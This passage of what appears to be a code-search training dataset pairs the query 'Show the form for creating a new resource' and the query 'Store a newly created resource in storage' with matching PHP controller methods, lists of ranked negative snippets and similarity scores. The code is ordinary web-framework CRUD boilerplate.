$repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { return $this->view('events.create'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store() { $data = $this->inputAll(); $rules = $this->events->getRules(); $properties = array(); unset($data['storage_events_id']); if(isset($data['properties_id']) && count($data['properties_id'])) { $properties = (is_array($data['properties_id'])) ? $data['properties_id'] : []; unset($data['properties_id']); } $data['is_arifmetic'] = (isset($data['is_arifmetic'])) ? $data['is_arifmetic'] : 0; $validator = $this->validator->make($data, $rules); if ($validator->fails()) { return $this->redirect->back()->withErrors($validator)->withInput(); } $eventCreated = $this->events->create($data); if($eventCreated) { if(count($properties)) foreach($properties as $num => $id) StorageEventsHasEventsProperties::create(array("storage_events_id" => $eventCreated->id, "event_prop_id" => $id)); } return $this->redirect('events.index'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module 